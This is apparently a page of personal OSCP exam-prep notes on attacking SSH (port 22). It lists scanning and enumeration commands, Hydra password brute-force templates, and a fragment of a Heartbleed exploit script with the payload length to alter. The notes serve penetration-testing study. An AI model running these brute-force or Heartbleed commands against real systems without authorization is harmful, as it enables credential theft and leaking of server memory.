📘
OSCP Exam Prep
OSCP Exam Prep
OSCP Exam Prep
  • Reference List
  • Guideline
  • Commons
    • Basic Scans
    • Service Enumeration
      • HTTP(S) (80 / 443)
      • SMB (139 / 445)
      • FTP (21)
      • DNS (53)
      • SSH (22)
      • LDAP (389/636/3268)
      • Kerberos (88)
      • SNMP (161)
      • SMTP (25)
      • RDP (3389)
      • Evil-WinRM (5985/5986)
      • MYSQL (3306)
      • MSSQL (1433)
    • Default/Common Credentials
    • Shells
      • TTY Shell
    • File Transfer
    • KeePass Database
    • Port Forwarding
    • File Metadata
  • Attacks
    • Run a command x times
    • Public Exploits
    • User Creation
    • Password Cracking
      • Using custom wordlists
    • LFI/RFI
    • SQLi
    • PwnKit
    • SAM and SYSTEM files
    • Phishing for Access (Requires MailSVR)
    • GitDumper
  • Enumeration
    • Linux
    • Windows
  • Privilege Escalation
    • Linux
    • Windows
  • Port Forwarding Extras
    • Linux
    • Windows
  • Active Directory
    • Enumeration
    • Lateral Movement
    • Privilege Escalation
Powered by GitBook
On this page
  • 1. Scanning
  • 2. Enumeration
  • 3. Hydra
  • 4. HeartBleed.py
  1. Commons
  2. Service Enumeration

SSH (22)

1. Scanning

Banner Grabbing - nc -vn <IP> 22
Initiate Connection - ssh <username>@<IP> [-p <port>]

Identify public SSH key of server - ssh-keyscan -t rsa <IP> [-p <port>]

dnsrecon -d <domain_name> -n <IP>
dnsenum <domain_name>
ssh-audit -v <IP>

2. Enumeration

Default nmap scripts for SSH - nmap -sC -p<port> <IP>
Retrieve version - nmap -sV -p<port> <IP>

Retrieve supported algorythms - 
    nmap --script ssh2-enum-algos -p<port> <IP>
Retrieve weak keys - 
    nmap --script ssh-hostkey --script-args ssh_hostkey=full -p<port> <IP>
Check authentication methods - 
    nmap --script ssh-auth-methods --script-args="ssh.user=root" -p<port> <IP>

3. Hydra

    hydra -l <username> -p <password> -s <port number> ssh://<target ip address>
    hydra -l <username> -P <wordlist> -s <port number> ssh://<target ip address>
    
    hydra -L <username list> -P <wordlist> -s <port number> ssh://<target ip address>
    hydra -L <username list> -p <password> -s <port number> ssh://<target ip address>

4. HeartBleed.py

Areas to modify

def build_heartbeat(tls_ver):
    heartbeat = [
0x18,       # Content Type (Heartbeat)
0x03, tls_ver,  # TLS version
0x00, 0x03,  # Length
# Payload
0x01,       # Type (Request)
0x40, 0x00  # Payload length // Modify this
    ] 
    return heartbeat
def build_heartbeat(tls_ver):
    heartbeat = [
0x18,       # Content Type (Heartbeat)
0x03, tls_ver,  # TLS version
0x00, 0x03,  # Length
# Payload
0x01,       # Type (Request)
0x10, 0x00  # Payload length // Modify this
    ] 
    return heartbeat

To run

Default Execution - python heartbleed.py <IP>
Include Hexdump in output - python heartbleed.py -x <IP>

Repeated run - python heartbleed.py -n <count> <IP>
    # Filter output for interesting keywords
    # Remember to enumerate other services while this runs

PreviousDNS (53)NextLDAP (389/636/3268)

Last updated 3 months ago

Download script via:

https://gist.github.com/eelsivart/10174134